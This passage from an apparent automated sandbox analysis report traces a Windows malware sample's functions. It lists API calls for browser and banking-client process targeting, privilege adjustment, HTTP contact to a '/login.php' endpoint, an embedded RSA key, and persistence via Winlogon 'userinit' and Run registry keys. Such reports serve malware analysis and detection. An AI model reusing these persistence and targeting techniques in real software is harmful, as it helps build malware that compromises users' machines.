                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 2B21DBB2E44318A7E720D6B59C81FDA77ACDB58711F404595F788E60C0DAF0AAC48BD0
                                                                                                                                                                                                                      Function 027078A0 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 89memoryprocessCOMMON
                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,00000000), ref: 027078B4
                                                                                                                                                                                                                      • Process32First.KERNEL32(00000000,?,?,00000000), ref: 027078D9
                                                                                                                                                                                                                      • GetCurrentProcessId.KERNEL32(?,00000000), ref: 027078FD
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex,?,?,00000000), ref: 02707917
                                                                                                                                                                                                                      • EnterCriticalSection.KERNEL32(0273FB80,?,00000000), ref: 0270793B
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,00000010,?,00000000), ref: 02707941
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000,?,00000000), ref: 02707948
                                                                                                                                                                                                                      • LeaveCriticalSection.KERNEL32(0273FB80,?,00000000), ref: 02707977
                                                                                                                                                                                                                        • Part of subcall function 02714880: OpenProcess.KERNEL32(00000400,00000000,00000000,74DEF550,00000000,76EEC3F0), ref: 02714895
                                                                                                                                                                                                                        • Part of subcall function 02714880: OpenProcessToken.ADVAPI32(00000000,00000018,?,?,?,?,?,?,?,?,?,?,?,?,027058B3), ref: 027148AC
                                                                                                                                                                                                                        • Part of subcall function 02714880: GetTokenInformation.ADVAPI32(?,00000007(TokenIntegrityLevel),?,00000010,?), ref: 027148CA
                                                                                                                                                                                                                        • Part of subcall function 02714880: CharUpperA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,027058B3), ref: 027148E2
                                                                                                                                                                                                                        • Part of subcall function 02714880: GetHandleInformation.KERNEL32(?,00000000), ref: 0271493B
                                                                                                                                                                                                                        • Part of subcall function 02714880: CloseHandle.KERNEL32(?), ref: 0271494C
                                                                                                                                                                                                                        • Part of subcall function 02714880: GetHandleInformation.KERNEL32(00000000,?), ref: 0271495E
                                                                                                                                                                                                                        • Part of subcall function 02714880: CloseHandle.KERNEL32(00000000), ref: 0271496F
                                                                                                                                                                                                                      • Process32Next.KERNEL32(00000000,00000128,?,00000000), ref: 0270798B
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,?,?,00000000), ref: 027079A5
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000,?,00000000), ref: 027079B6
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      • iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex, xrefs: 02707912
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Handle$InformationProcess$Close$CriticalHeapOpenProcess32SectionToken$AllocCharCreateCurrentEnterFirstLeaveNextSnapshotToolhelp32Upper
                                                                                                                                                                                                                      • String ID: iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex
                                                                                                                                                                                                                      • API String ID: 3461290786-4199822264
                                                                                                                                                                                                                      • Opcode ID: a79c88e3cdc4defacffb06b6702953624174ce3396f21b176714278ff1d1a461
                                                                                                                                                                                                                      • Instruction ID: 1b53c2e42359adf974ef089af94983c26a60ed61a5fd13c2352215a6b6eb17e4
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a79c88e3cdc4defacffb06b6702953624174ce3396f21b176714278ff1d1a461
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: FC31AEB1D11219EBE720DF65C848BAEBBF8FF4C755F508498E84993280D770AA45CBA0
                                                                                                                                                                                                                      Function 02715930 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 54threadCOMMON
                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetCurrentThread.KERNEL32(00000020,00000000,026F358E,7604DB30,?,?,?,?,026F358E,?,?,026F3751), ref: 02715940
                                                                                                                                                                                                                      • OpenThreadToken.ADVAPI32(00000000,?,?,?,?,026F358E,?,?,026F3751), ref: 02715947
                                                                                                                                                                                                                      • GetCurrentProcess.KERNEL32(00000020,026F358E,?,?,?,?,026F358E,?,?,026F3751), ref: 02715957
                                                                                                                                                                                                                      • OpenProcessToken.ADVAPI32(00000000,?,?,?,?,026F358E,?,?,026F3751), ref: 0271595E
                                                                                                                                                                                                                      • LookupPrivilegeValueA.ADVAPI32(00000000,SeSecurityPrivilege,?), ref: 02715981
                                                                                                                                                                                                                      • AdjustTokenPrivileges.ADVAPI32(026F358E,00000000,00000001,00000000,00000000,00000000), ref: 0271599B
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 027159A5
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(026F358E), ref: 027159B6
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Token$CurrentOpenProcessThread$AdjustCloseErrorHandleLastLookupPrivilegePrivilegesValue
                                                                                                                                                                                                                      • String ID: SeSecurityPrivilege
                                                                                                                                                                                                                      • API String ID: 731831024-2333288578
                                                                                                                                                                                                                      • Opcode ID: 8d7b1b1259d1ede25d8ec4f274d0738c3905bcd4fe0ba6de9c48a6f6e0e83d41
                                                                                                                                                                                                                      • Instruction ID: 7758a4b64add8f67115c049b12abaab6e817eb87869761d597cd51036df68e0c
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 8d7b1b1259d1ede25d8ec4f274d0738c3905bcd4fe0ba6de9c48a6f6e0e83d41
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 49115271A81204ABEB10DBE49D4DFAF7B7CEF48B06F908448FA01E6180D771961487A1
                                                                                                                                                                                                                      Function 00C11360 Relevance: .2, Instructions: 241COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2313341369.0000000000C10000.00000040.00000001.00020000.00000000.sdmp, Offset: 00C10000, based on PE: false
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_c10000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                      • Opcode ID: 1fa79efd77040c91d97ccb62c7c4d6b3fc1a67cf8e84a75a06133681ecf7a348
                                                                                                                                                                                                                      • Instruction ID: 16e20893549819d47b7b33216ced8aefd559b58b0055e877cd5e6de94cdf3c78
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 1fa79efd77040c91d97ccb62c7c4d6b3fc1a67cf8e84a75a06133681ecf7a348
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B0916071D00619AFCB10DFA4C841BEEB7B5AF89390F194559ED18A7305D738EE81EB90
                                                                                                                                                                                                                      Function 026F6690 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 260memoryfileCOMMON
                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                      control_flow_graph 294 26f6690-26f66d0 memset call 2704ab0 297 26f66ee-26f66f4 call 26f74a0 294->297 298 26f66d2-26f66e1 call 2704ab0 294->298 302 26f66f9-26f66fe 297->302 301 26f66e6-26f66e8 298->301 301->297 303 26f6949-26f6952 PathFileExistsA 301->303 302->303 304 26f6704-26f671b calloc * 2 302->304 307 26f6968-26f696f 303->307 308 26f6954-26f6956 303->308 305 26f671d-26f671f exit 304->305 306 26f6725-26f6730 calloc 304->306 305->306 309 26f673a-26f6758 calloc 306->309 310 26f6732-26f6734 exit 306->310 308->307 311 26f6958-26f6962 SetFileAttributesA DeleteFileA 308->311 312 26f675a-26f675c exit 309->312 313 26f6762-26f676d calloc 309->313 310->309 311->307 312->313 314 26f676f-26f6771 exit 313->314 315 26f6777-26f679d calloc 313->315 314->315 316 26f679f-26f67a1 exit 315->316 317 26f67a7-26f67b2 calloc 315->317 316->317 318 26f67bc-26f67e2 calloc 317->318 319 26f67b4-26f67b6 exit 317->319 320 26f67ec-26f67fb calloc 318->320 321 26f67e4-26f67e6 exit 318->321 319->318 322 26f67fd-26f67ff exit 320->322 323 26f6805-26f6856 call 26f1990 * 3 call 26f1a00 320->323 321->320 322->323 332 26f6858-26f6860 323->332 332->332 333 26f6862-26f687b _strrev 332->333 334 26f6880-26f6885 333->334 334->334 335 26f6887-26f6896 334->335 336 26f68ac-26f68ae 335->336 337 26f6898-26f689c 335->337 339 26f68b0-26f68b8 336->339 340 26f68f3 336->340 338 26f689e-26f68aa 337->338 337->339 338->336 338->337 342 26f68eb-26f68f1 339->342 343 26f68ba-26f68bd 339->343 341 26f68f5-26f6937 call 26f1840 * 4 GetProcessHeap HeapValidate 340->341 357 26f6939-26f693f GetProcessHeap HeapFree 341->357 358 26f6945-26f6948 341->358 342->341 343->340 345 26f68bf-26f68c9 343->345 345->342 347 26f68cb-26f68ce 345->347 347->340 349 26f68d0-26f68da 347->349 349->342 351 26f68dc-26f68df 349->351 351->340 353 26f68e1-26f68e9 351->353 353->342 357->358 358->303
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,00000103,00000000,74DF0F10), ref: 026F66B0
                                                                                                                                                                                                                        • Part of subcall function 02704AB0: memset.MSVCRT(?,00000000,000000FF,00000000,026F6E36,00000000), ref: 02704AED
                                                                                                                                                                                                                        • Part of subcall function 02704AB0: GetProcessHeap.KERNEL32(00000008,00000017,00000000,026F6E36,00000000), ref: 02704B27
                                                                                                                                                                                                                        • Part of subcall function 02704AB0: HeapAlloc.KERNEL32(00000000), ref: 02704B2E
                                                                                                                                                                                                                        • Part of subcall function 02704AB0: memset.MSVCRT(00000000,00000000,00000017), ref: 02704B3E
                                                                                                                                                                                                                        • Part of subcall function 02704AB0: memcpy.MSVCRT(00000000,026F6E36,00000004,00000000,026F6E36,00000000), ref: 02704B5D
                                                                                                                                                                                                                        • Part of subcall function 02704AB0: InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0),00000000,00000000,00000000,04000000), ref: 02704BC2
                                                                                                                                                                                                                      • calloc.MSVCRT(00000001,0000000C,00000000,00000000,00000001,00000000,/login.php,026F6E36,00000000,00000000,00000000,00000000,00000000,?,00000000,74DF0F10), ref: 026F670F
                                                                                                                                                                                                                      • exit.MSVCRT(00000001,?,?,?,?,74DF0F10), ref: 026F671F
                                                                                                                                                                                                                      • calloc.MSVCRT(00000001,00000004,?,?,?,?,74DF0F10), ref: 026F6729
                                                                                                                                                                                                                      • exit.MSVCRT(00000001,?,?,?,?,?,?,74DF0F10), ref: 026F6734
                                                                                                                                                                                                                      • calloc.MSVCRT(00000001,0000000C,?,?,?,?,?,?,74DF0F10), ref: 026F674F
                                                                                                                                                                                                                      • exit.MSVCRT(00000001,?,?,?,?,?,?,?,?,74DF0F10), ref: 026F675C
                                                                                                                                                                                                                      • calloc.MSVCRT(00000001,00000004,?,?,?,?,?,?,?,?,74DF0F10), ref: 026F6766
                                                                                                                                                                                                                      • exit.MSVCRT(00000001,?,?,?,?,?,?,?,?,?,?,74DF0F10), ref: 026F6771
                                                                                                                                                                                                                      • calloc.MSVCRT(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,74DF0F10), ref: 026F6794
                                                                                                                                                                                                                      • exit.MSVCRT(00000001,?,?,?,?,?,?,?,?,?,?,?,?,74DF0F10), ref: 026F67A1
                                                                                                                                                                                                                      • calloc.MSVCRT(00000001,00000004,?,?,?,?,?,?,?,?,?,?,?,?,74DF0F10), ref: 026F67AB
                                                                                                                                                                                                                      • exit.MSVCRT(00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?,74DF0F10), ref: 026F67B6
                                                                                                                                                                                                                      • calloc.MSVCRT(00000001,0000000C), ref: 026F67D9
                                                                                                                                                                                                                      • exit.MSVCRT(00000001), ref: 026F67E6
                                                                                                                                                                                                                      • calloc.MSVCRT(00000001,00000004), ref: 026F67F0
                                                                                                                                                                                                                      • exit.MSVCRT(00000001), ref: 026F67FF
                                                                                                                                                                                                                        • Part of subcall function 02704AB0: InternetConnectA.WININET(00000000,026F6E36,00000050,00000000,00000000,00000003,00000000,00000001), ref: 02704BE1
                                                                                                                                                                                                                        • Part of subcall function 02704AB0: HttpOpenRequestA.WININET(00000000,GET,00000000,HTTP/1.0,00000000,00000000,00000000,00000001), ref: 02704C19
                                                                                                                                                                                                                        • Part of subcall function 02704AB0: HttpAddRequestHeadersA.WININET(00000000,Content-Type: application/x-www-form-urlencoded,000000FF,20000000), ref: 02704C4A
                                                                                                                                                                                                                        • Part of subcall function 02704AB0: HttpAddRequestHeadersA.WININET(00000000,Referer: http://www.google.com,000000FF,20000000), ref: 02704C5E
                                                                                                                                                                                                                        • Part of subcall function 02704AB0: _snprintf.MSVCRT(?,00000104,Content-Type: multipart/form-data; boundary=---------------------------%s,02749C60), ref: 02704C7C
                                                                                                                                                                                                                        • Part of subcall function 02704AB0: HttpAddRequestHeadersA.WININET(00000000,?,000000FF,20000000), ref: 02704C94
                                                                                                                                                                                                                        • Part of subcall function 02704AB0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000004), ref: 02704CAA
                                                                                                                                                                                                                        • Part of subcall function 02704AB0: HttpQueryInfoA.WININET(00000000,20000013,00000000,00000004,00000000), ref: 02704CCD
                                                                                                                                                                                                                        • Part of subcall function 02704AB0: CreateFileA.KERNEL32(00000000,C0000000,00000003,00000000,00000002,00000080,00000000), ref: 02704D05
                                                                                                                                                                                                                      • _strrev.MSVCRT(?,?,00000000,00000000,00000000,?,10001,6908741AF4E26C68E1EE46F1041F009EECA931D2D53E11AD04CF03DEB7677754725005219D4B978D957ABA1678D353DE5AA0586B49E21F7EFFE2F73D7D2D8E26395286E1EA7A106CD617966D9FC5906C6E952289B4D671BA6ADE1B80ECF2468552F401D4D8134CAF4B56DC5F18B673710974A6F7A9AE9273979C092F52E8D7C9), ref: 026F6869
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?,?,?,026F6E36,?), ref: 026F692C
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 026F692F
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?), ref: 026F693C
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 026F693F
                                                                                                                                                                                                                      • PathFileExistsA.SHLWAPI(026F6E36,00000000,00000001,00000000,/login.php,026F6E36,00000000,00000000,00000000,00000000,00000000,?,00000000,74DF0F10), ref: 026F694A
                                                                                                                                                                                                                      • SetFileAttributesA.KERNEL32(026F6E36,00000000,?,00000000,74DF0F10), ref: 026F695B
                                                                                                                                                                                                                      • DeleteFileA.KERNEL32(026F6E36,?,00000000,74DF0F10), ref: 026F6962
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      • 10001, xrefs: 026F682A
                                                                                                                                                                                                                      • 6908741AF4E26C68E1EE46F1041F009EECA931D2D53E11AD04CF03DEB7677754725005219D4B978D957ABA1678D353DE5AA0586B49E21F7EFFE2F73D7D2D8E26395286E1EA7A106CD617966D9FC5906C6E952289B4D671BA6ADE1B80ECF2468552F401D4D8134CAF4B56DC5F18B673710974A6F7A9AE9273979C092F52E8D7C9, xrefs: 026F680D
                                                                                                                                                                                                                      • /login.php, xrefs: 026F66C1, 026F66D8
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: callocexit$HeapHttp$Request$File$HeadersProcessmemset$InternetOpen$AllocAttributesConnectCreateDeleteExistsFreeInfoPathQuerySendValidate_snprintf_strrevmemcpy
                                                                                                                                                                                                                      • String ID: /login.php$10001$6908741AF4E26C68E1EE46F1041F009EECA931D2D53E11AD04CF03DEB7677754725005219D4B978D957ABA1678D353DE5AA0586B49E21F7EFFE2F73D7D2D8E26395286E1EA7A106CD617966D9FC5906C6E952289B4D671BA6ADE1B80ECF2468552F401D4D8134CAF4B56DC5F18B673710974A6F7A9AE9273979C092F52E8D7C9
                                                                                                                                                                                                                      • API String ID: 1958765476-2761129557
                                                                                                                                                                                                                      • Opcode ID: 2dd34bbe31c3a8bb639e59cff0bce892f9b72e40fb0cf4c2f3690c2daf57fa95
                                                                                                                                                                                                                      • Instruction ID: dccd92ec7edb73655435007d05b74b6243abfd9ba629bde5a1dceb8c603a2817
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 2dd34bbe31c3a8bb639e59cff0bce892f9b72e40fb0cf4c2f3690c2daf57fa95
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 608125B0A80315AFEF519F74CC45BEA7FA8AF05705F048458EB69AB281D7F2D5448BE0
                                                                                                                                                                                                                      Function 02707DD0 Relevance: 49.2, APIs: 24, Strings: 4, Instructions: 244registrymemorysynchronizationCOMMON
                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                      control_flow_graph 359 2707dd0-2707de2 360 2707de5-2707dea 359->360 360->360 361 2707dec-2707df3 360->361 362 2707fd7-2707fdf #680 361->362 363 2707df9-2707e06 PathFileExistsA 361->363 364 2707fe1-2707ff6 362->364 365 2707ff8-2708008 362->365 363->362 366 2707e0c-2707e2b RegOpenKeyExA 363->366 367 270800d-2708015 RegOpenKeyExA 364->367 365->367 368 2707e31-2707e55 RegQueryValueExA 366->368 369 2707f78-2707f91 RegOpenKeyExA 366->369 370 2708017-2708026 CreateEventA 367->370 371 270806b-2708071 367->371 372 2707f68-2707f76 RegFlushKey 368->372 373 2707e5b-2707e75 GetProcessHeap HeapAlloc 368->373 369->362 374 2707f93-2707f9b 369->374 370->371 375 2708028-270803b WaitForSingleObject 370->375 377 2707fd1 RegCloseKey 372->377 373->372 376 2707e7b-2707ea9 memset RegQueryValueExA StrStrIA 373->376 378 2707fa0-2707fa5 374->378 380 2708041-2708048 WaitForSingleObject 375->380 381 2707f46-2707f5a GetProcessHeap HeapValidate 376->381 382 2707eaf-2707eb1 376->382 377->362 378->378 379 2707fa7-2707fd0 RegSetValueExA RegFlushKey 378->379 379->377 380->380 383 270804a-2708050 380->383 381->372 384 2707f5c-2707f62 GetProcessHeap HeapFree 381->384 385 2707eb4-2707eb9 382->385 386 2708052-2708057 call 2714a10 383->386 387 270805c-2708069 RegNotifyChangeKeyValue 383->387 384->372 385->385 388 2707ebb-2707ebd 385->388 386->387 387->380 390 2707ee1-2707ee6 388->390 391 2707ebf-2707ec4 388->391 392 2707ee8-2707eed 390->392 391->390 393 2707ec6-2707ec9 391->393 392->392 394 2707eef-2707ef1 392->394 395 2707ed0-2707ed6 393->395 397 2707ef4-2707efa 394->397 395->395 396 2707ed8-2707ede 395->396 396->390 397->397 398 2707efc-2707f0d 397->398 399 2707f10-2707f16 398->399 399->399 400 2707f18-2707f24 399->400 401 2707f27-2707f2c 400->401 401->401 402 2707f2e-2707f40 RegSetValueExA 401->402 402->381
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • PathFileExistsA.SHLWAPI(02749B58), ref: 02707DFE
                                                                                                                                                                                                                      • RegOpenKeyExA.ADVAPI32(80000002,software\microsoft\windows nt\currentversion\winlogon,00000000,00000103,?), ref: 02707E27
                                                                                                                                                                                                                      • RegQueryValueExA.ADVAPI32(?,userinit,00000000,00000000,00000000,00000000), ref: 02707E47
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,-00000010), ref: 02707E64
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000), ref: 02707E6B
                                                                                                                                                                                                                      • memset.MSVCRT(00000000,00000000,-00000010), ref: 02707E7F
                                                                                                                                                                                                                      • RegQueryValueExA.ADVAPI32(?,userinit,00000000,00000000,00000000,00000000), ref: 02707E99
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(00000000,02749B58), ref: 02707EA1
                                                                                                                                                                                                                      • RegSetValueExA.ADVAPI32(?,userinit,00000000,00000001,00000000,00000002), ref: 02707F40
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02707F4F
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 02707F52
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02707F5F
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 02707F62
                                                                                                                                                                                                                      • RegFlushKey.ADVAPI32(?), ref: 02707F6C
                                                                                                                                                                                                                      • RegOpenKeyExA.ADVAPI32(80000001,software\microsoft\windows\currentversion\run,00000000,000F013F,?), ref: 02707F8D
                                                                                                                                                                                                                      • RegSetValueExA.ADVAPI32(?,userinit,00000000,00000001,02749B58,02749B5A), ref: 02707FBD
                                                                                                                                                                                                                      • RegFlushKey.ADVAPI32(?), ref: 02707FC7
                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(?), ref: 02707FD1
                                                                                                                                                                                                                      • #680.SHELL32 ref: 02707FD7
                                                                                                                                                                                                                      • RegOpenKeyExA.ADVAPI32(80000001,software\microsoft\windows\currentversion\run,00000000,00000101,?), ref: 0270800D
                                                                                                                                                                                                                      • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 0270801C
                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(?,00000000,0000000F,00000000,00000001), ref: 02708039
                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02708044
                                                                                                                                                                                                                      • RegNotifyChangeKeyValue.ADVAPI32(?,00000000,0000000F,00000000,00000001), ref: 02708067
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$Value$OpenProcess$FlushObjectQuerySingleWait$#680AllocChangeCloseCreateEventExistsFileFreeNotifyPathValidatememset
                                                                                                                                                                                                                      • String ID: ,$software\microsoft\windows nt\currentversion\winlogon$software\microsoft\windows\currentversion\run$userinit
                                                                                                                                                                                                                      • API String ID: 3618708129-1653949461
                                                                                                                                                                                                                      • Opcode ID: d975385e6664e02bf8d1f9c46168e13f388c3db3ffdf100fceb562f9674034aa
                                                                                                                                                                                                                      • Instruction ID: 9036da5d4c7dab50caaac709779b3efab79aca31699113ade08beab3300e228e
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d975385e6664e02bf8d1f9c46168e13f388c3db3ffdf100fceb562f9674034aa
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 7371E871A40306FBEB248B648CD9FABB7A9EF49745F508544F941AB1C0DBB1AD09C7A0
                                                                                                                                                                                                                      Function 026F30E0 Relevance: 47.4, APIs: 19, Strings: 8, Instructions: 185memoryregistryCOMMON
                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                      control_flow_graph 403 26f30e0-26f311a memset call 2714ff0 406 26f32d7-26f32de 403->406 407 26f3120-26f312d call 27150f0 403->407 410 26f3285-26f329b GetProcessHeap HeapValidate 407->410 411 26f3133-26f3170 GetEnvironmentVariableA PathAddBackslashA GetVolumeInformationA 407->411 414 26f329d-26f32a6 GetProcessHeap HeapFree 410->414 415 26f32ac-26f32b1 410->415 412 26f3179-26f3196 RegOpenKeyExA 411->412 413 26f3172 411->413 416 26f31bf-26f31c4 412->416 417 26f3198-26f31b9 RegQueryValueExA RegCloseKey 412->417 413->412 414->415 418 26f32ce-26f32d6 415->418 419 26f32b3-26f32bd GetProcessHeap HeapValidate 415->419 420 26f31c9-26f31d5 416->420 421 26f31c6 416->421 417->416 419->418 422 26f32bf-26f32c8 GetProcessHeap HeapFree 419->422 423 26f31de-26f31e1 CharUpperA 420->423 424 26f31d7-26f31dc 420->424 421->420 422->418 425 26f31e3-26f320d CharUpperA _snprintf 423->425 424->425 426 26f3210-26f3215 425->426 426->426 427 26f3217-26f3219 426->427 428 26f327d-26f3280 427->428 429 26f321b 427->429 428->410 430 26f3220-26f3225 429->430 431 26f3226-26f322c 430->431 431->431 432 26f322e-26f323d 431->432 433 26f3240-26f3245 432->433 433->433 434 26f3247-26f326d _snprintf 433->434 435 26f3270-26f3275 434->435 435->435 436 26f3277-26f327b 435->436 436->428 436->430
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT(SYSTEM!910646!4579B355,00000000,00000104,74DF2F70,00000000), ref: 026F3106
                                                                                                                                                                                                                        • Part of subcall function 02714FF0: memset.MSVCRT(?,00000000,000000DF,00000000,00000000), ref: 02715023
                                                                                                                                                                                                                        • Part of subcall function 02714FF0: GetProcessHeap.KERNEL32(00000008,00000110,?,00000000,00000000), ref: 02715032
                                                                                                                                                                                                                        • Part of subcall function 02714FF0: HeapAlloc.KERNEL32(00000000,?,00000000,00000000), ref: 02715039
                                                                                                                                                                                                                        • Part of subcall function 02714FF0: memset.MSVCRT(00000000,00000000,00000110,?,00000000,00000000), ref: 02715051
                                                                                                                                                                                                                        • Part of subcall function 02714FF0: GetUserNameA.ADVAPI32(00000000,00000104), ref: 02715068
                                                                                                                                                                                                                        • Part of subcall function 02714FF0: GetLastError.KERNEL32(?,?,?,?,00000000,00000000), ref: 0271506E
                                                                                                                                                                                                                        • Part of subcall function 02714FF0: GetUserNameA.ADVAPI32(00000000,00000104), ref: 0271508F
                                                                                                                                                                                                                        • Part of subcall function 02714FF0: StrChrIA.SHLWAPI(?,?,?,00000000,?,?,?,?,00000000,00000000), ref: 027150B6
